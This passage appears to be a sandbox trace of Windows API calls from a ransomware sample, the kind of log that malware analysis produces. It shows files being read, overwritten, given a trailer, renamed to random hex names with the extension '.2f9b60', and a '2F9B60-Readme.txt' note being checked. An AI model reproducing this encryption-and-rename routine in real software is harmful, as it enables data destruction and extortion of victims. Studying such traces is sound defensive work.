"c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ec4 [0235.612] GetFileSizeEx (in: hFile=0x1ec4, lpFileSize=0x2fb7fe40 | out: lpFileSize=0x2fb7fe40*=14660) returned 1 [0235.612] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x3940, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.612] ReadFile (in: hFile=0x1ec4, lpBuffer=0x2fb7fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fb7fe08, lpOverlapped=0x0 | out: lpBuffer=0x2fb7fdc0*, lpNumberOfBytesRead=0x2fb7fe08*=0x4, lpOverlapped=0x0) returned 1 [0236.355] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fd0 [0236.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e20 [0236.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0236.357] NtQuerySystemTime (in: CurrentTime=0x2fb7fd00 | out: CurrentTime=0x2fb7fd00*=132462178401694000) returned 0x0 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x644e4d54 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x63abd951 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x4b5cfe7b [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x2af9f06f [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x7ab66589 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x6dde90fd [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x4fd37df4 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x3b0a0531 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x6d30f7da [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x1c48302e [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x908f1d4 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x645450e4 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x78071e67 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x192e5b1 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x33761b13 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x534b1ed5 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x6da27d51 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x73a06802 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x7ee65365 [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x8c35f3c [0236.357] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x6755559a [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x5c3d9a3d [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x10e3cc8e [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x66486571 [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x1faafef1 [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x7ecf2738 [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x555c9789 [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x3f174a88 [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x5ec3d2f8 [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x15f405fd [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x2566e60b [0236.358] RtlRandomEx (in: Seed=0x2fb7fcf0 | out: Seed=0x2fb7fcf0) returned 0x74d793f6 [0236.366] ReadFile (in: hFile=0x1ec4, lpBuffer=0x41f75950, nNumberOfBytesToRead=0x3944, lpNumberOfBytesRead=0x2fb7fcf0, lpOverlapped=0x0 | out: lpBuffer=0x41f75950*, lpNumberOfBytesRead=0x2fb7fcf0*=0x3944, lpOverlapped=0x0) returned 1 [0237.539] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.539] WriteFile (in: hFile=0x1ec4, lpBuffer=0x41f62d00*, nNumberOfBytesToWrite=0x3944, lpNumberOfBytesWritten=0x2fb7fcf4, lpOverlapped=0x0 | out: lpBuffer=0x41f62d00*, lpNumberOfBytesWritten=0x2fb7fcf4*=0x3944, lpOverlapped=0x0) returned 1 [0237.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0f50 [0237.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0f20 [0237.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0f20) returned 1 [0237.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f62d00) returned 1 [0237.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f75950) returned 1 [0237.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0237.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0237.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x431ad7a0 [0237.642] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0237.642] WriteFile (in: hFile=0x1ec4, lpBuffer=0x42c154d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fb7fe10, lpOverlapped=0x0 | out: lpBuffer=0x42c154d0*, lpNumberOfBytesWritten=0x2fb7fe10*=0x118, lpOverlapped=0x0) returned 1 [0237.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0237.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869cc0 [0237.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab820 [0237.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab820) returned 1 [0237.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202ab820 [0237.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab580 [0237.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab4f0 [0237.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab4f0) returned 1 [0237.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0237.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0237.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd9d1f0 [0237.711] sprintf (in: _Dest=0x1cd9d1f0, _Format="%c%c" | out: _Dest="dc") returned 2 [0237.711] sprintf (in: _Dest=0x1cd9d1f2, _Format="%c%c" | out: _Dest="bd") returned 2 [0237.711] sprintf (in: _Dest=0x1cd9d1f4, _Format="%c%c" | out: _Dest="6f") returned 2 [0237.711] sprintf (in: _Dest=0x1cd9d1f6, _Format="%c%c" | out: _Dest="64") returned 2 [0237.711] sprintf (in: _Dest=0x1cd9d1f8, _Format="%c%c" | out: _Dest="81") returned 2 [0237.711] sprintf (in: _Dest=0x1cd9d1fa, _Format="%c%c" | out: _Dest="ab") returned 2 [0237.711] sprintf (in: _Dest=0x1cd9d1fc, _Format="%c%c" | out: _Dest="d1") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d1fe, _Format="%c%c" | out: _Dest="c6") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d200, _Format="%c%c" | out: _Dest="46") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d202, _Format="%c%c" | out: _Dest="3d") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d204, _Format="%c%c" | out: _Dest="47") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d206, _Format="%c%c" | out: _Dest="c4") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d208, _Format="%c%c" | out: _Dest="b3") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d20a, _Format="%c%c" | out: _Dest="7c") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d20c, _Format="%c%c" | out: _Dest="09") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d20e, _Format="%c%c" | out: _Dest="a1") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d210, _Format="%c%c" | out: _Dest="5b") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d212, _Format="%c%c" | out: _Dest="d6") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d214, _Format="%c%c" | out: _Dest="85") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d216, _Format="%c%c" | out: _Dest="77") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d218, _Format="%c%c" | out: _Dest="de") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d21a, _Format="%c%c" | out: _Dest="ef") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d21c, _Format="%c%c" | out: _Dest="47") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d21e, _Format="%c%c" | out: _Dest="28") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d220, _Format="%c%c" | out: _Dest="4d") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d222, _Format="%c%c" | out: _Dest="93") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d224, _Format="%c%c" | out: _Dest="f6") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d226, _Format="%c%c" | out: _Dest="d5") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d228, _Format="%c%c" | out: _Dest="70") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d22a, _Format="%c%c" | out: _Dest="21") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d22c, _Format="%c%c" | out: _Dest="19") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d22e, _Format="%c%c" | out: _Dest="54") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d230, _Format="%c%c" | out: _Dest="e3") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d232, _Format="%c%c" | out: _Dest="24") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d234, _Format="%c%c" | out: _Dest="2a") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d236, _Format="%c%c" | out: _Dest="6f") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d238, _Format="%c%c" | out: _Dest="31") returned 2 [0237.712] sprintf (in: _Dest=0x1cd9d23a, _Format="%c%c" | out: _Dest="8b") returned 2 [0237.712] RtlInitAnsiString (in: DestinationString=0x2fb7fe88, SourceString="dcbd6f6481abd1c6463d47c4b37c09a15bd68577deef47284d93f6d570211954e3242a6f318b" | out: DestinationString="dcbd6f6481abd1c6463d47c4b37c09a15bd68577deef47284d93f6d570211954e3242a6f318b") [0237.712] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fb7fe58, SourceString="dcbd6f6481abd1c6463d47c4b37c09a15bd68577deef47284d93f6d570211954e3242a6f318b", AllocateDestinationString=1 | out: DestinationString="dcbd6f6481abd1c6463d47c4b37c09a15bd68577deef47284d93f6d570211954e3242a6f318b") returned 0x0 [0237.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a7c70 [0237.713] wcscat (in: _Dest=0x431a7d20, _Source="dcbd6f6481abd1c6463" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\dcbd6f6481abd1c6463") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\dcbd6f6481abd1c6463" [0237.713] wcscat (in: _Dest=0x431a7d20, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\dcbd6f6481abd1c6463.2f9b60") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\dcbd6f6481abd1c6463.2f9b60" [0237.713] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\dcbd6f6481abd1c6463.2f9b60", NtPathName=0x2fb7fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\dcbd6f6481abd1c6463.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0237.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4310a8c0 [0237.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a8c0) returned 1 [0237.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43213440) returned 1 [0237.842] NtQueryInformationFile (in: FileHandle=0x1ec4, IoStatusBlock=0x2fb7fe98, FileInformation=0x2fb7fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fb7fe98, FileInformation=0x2fb7fea8) returned 0x0 [0237.842] NtSetInformationFile (FileHandle=0x1ec4, IoStatusBlock=0x2fb7fe98, FileInformation=0x2fb7fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0239.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7d20) returned 1 [0239.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7c70) returned 1 [0239.926] FlushFileBuffers (hFile=0x1ec4) returned 1 [0240.096] CloseHandle (hObject=0x1ec4) returned 1 [0242.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b0ab0 [0242.767] wcscpy (in: _Dest=0x202b0ab0, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\" [0242.767] wcscat (in: _Dest=0x202b0ab0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\2F9B60-Readme.txt" [0242.767] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\2f9b60-readme.txt")) returned 0x2020 [0242.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0ab0) returned 1 [0242.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318a860) returned 1 Thread: id = 3850 os_tid = 0x217c [0227.810] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\F_zQk7m.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\f_zqk7m.m4a")) returned 0x20 [0227.810] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\F_zQk7m.m4a", dwFileAttributes=0x20) returned 1 [0227.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\F_zQk7m.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\f_zqk7m.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2d90 [0227.811] GetFileSizeEx (in: hFile=0x2d90, lpFileSize=0x2911fce0 | out: lpFileSize=0x2911fce0*=63102) returned 1 [0227.811] SetFilePointerEx (in: hFile=0x2d90, liDistanceToMove=0xf67a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.811] ReadFile (in: hFile=0x2d90, lpBuffer=0x2911fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2911fca8, lpOverlapped=0x0 | out: lpBuffer=0x2911fc60*, lpNumberOfBytesRead=0x2911fca8*=0x4, lpOverlapped=0x0) returned 1 [0227.812] SetFilePointerEx (in: hFile=0x2d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0227.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75c0 [0227.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0227.814] NtQuerySystemTime (in: CurrentTime=0x2911fba0 | out: CurrentTime=0x2911fba0*=132462178318078000) returned 0x0 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x48240e0e [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x2baa477b [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x3a97e8dc [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x33f2e645 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x56d60abc [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x6bba8282 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x1f0ecdbb [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0xa71dae5 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x4f430315 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x8aada72 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x74ff4736 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0xb11b92d [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x2578200f [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x22404a41 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x1d8a6a9e [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x62f8330 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x24cef7f1 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x23565e3f [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x783c7c59 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x3b23ff28 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x530c7a34 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x1e4ae109 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x428d6a1d [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x93349be [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x76d236f [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x580d3194 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x51b07e01 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x50c1079b [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x50cfeb58 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x595dfe96 [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x220cfac [0227.814] RtlRandomEx (in: Seed=0x2911fb90 | out: Seed=0x2911fb90) returned 0x500d9333 [0227.821] SetFilePointerEx (in: hFile=0x2d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.822] ReadFile (in: hFile=0x2d90, lpBuffer=0x41e4c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2911fc00, lpOverlapped=0x0 | out: lpBuffer=0x41e4c1b0*, lpNumberOfBytesRead=0x2911fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0227.822] SetFilePointerEx (in: hFile=0x2d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0227.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0227.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0227.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b00) returned 1 [0227.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e13cc0 [0227.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0227.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0227.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0227.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0227.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0227.826] WriteFile (in: hFile=0x2d90, lpBuffer=0x41e13cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2911fc00, lpOverlapped=0x0 | out: lpBuffer=0x41e13cc0*, lpNumberOfBytesWritten=0x2911fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0232.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e13cc0) returned 1 [0232.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e4c1b0) returned 1 [0232.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202652e0 [0232.187] SetFilePointerEx (in: hFile=0x2d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.187] WriteFile (in: hFile=0x2d90, lpBuffer=0x431a92d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2911fcb0, lpOverlapped=0x0 | out: lpBuffer=0x431a92d0*, lpNumberOfBytesWritten=0x2911fcb0*=0x108, lpOverlapped=0x0) returned 1 [0235.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce617e0 [0235.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7b0 [0235.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7b0) returned 1 [0235.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0235.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7b0 [0235.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dcc0 [0235.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dcc0) returned 1 [0235.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0235.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f7b0 [0235.942] sprintf (in: _Dest=0x1cd9f7b0, _Format="%c%c" | out: _Dest="0e") returned 2 [0235.942] sprintf (in: _Dest=0x1cd9f7b2, _Format="%c%c" | out: _Dest="ef") returned 2 [0235.942] sprintf (in: _Dest=0x1cd9f7b4, _Format="%c%c" | out: _Dest="8c") returned 2 [0235.942] sprintf (in: _Dest=0x1cd9f7b6, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.942] sprintf (in: _Dest=0x1cd9f7b8, _Format="%c%c" | out: _Dest="67") returned 2 [0235.942] sprintf (in: _Dest=0x1cd9f7ba, _Format="%c%c" | out: _Dest="3e") returned 2 [0235.942] sprintf (in: _Dest=0x1cd9f7bc, _Format="%c%c" | out: _Dest="67") returned 2 [0235.942] sprintf (in: _Dest=0x1cd9f7be, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.942] sprintf (in: _Dest=0x1cd9f7c0, _Format="%c%c" | out: _Dest="22") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7c2, _Format="%c%c" | out: _Dest="83") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7c4, _Format="%c%c" | out: _Dest="7a") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7c6, _Format="%c%c" | out: _Dest="bd") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7c8, _Format="%c%c" | out: _Dest="81") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7ca, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7cc, _Format="%c%c" | out: _Dest="af") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7ce, _Format="%c%c" | out: _Dest="ab") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7d0, _Format="%c%c" | out: _Dest="6d") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7d2, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7d4, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7d6, _Format="%c%c" | out: _Dest="81") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7d8, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.943] sprintf (in: _Dest=0x1cd9f7da, _Format="%c%c" | out: _Dest="f1") returned 2 [0235.943] RtlInitAnsiString (in: DestinationString=0x2911fd28, SourceString="0eef8c5a673e67b022837abd814eafab6d2d4d814ef1" | out: 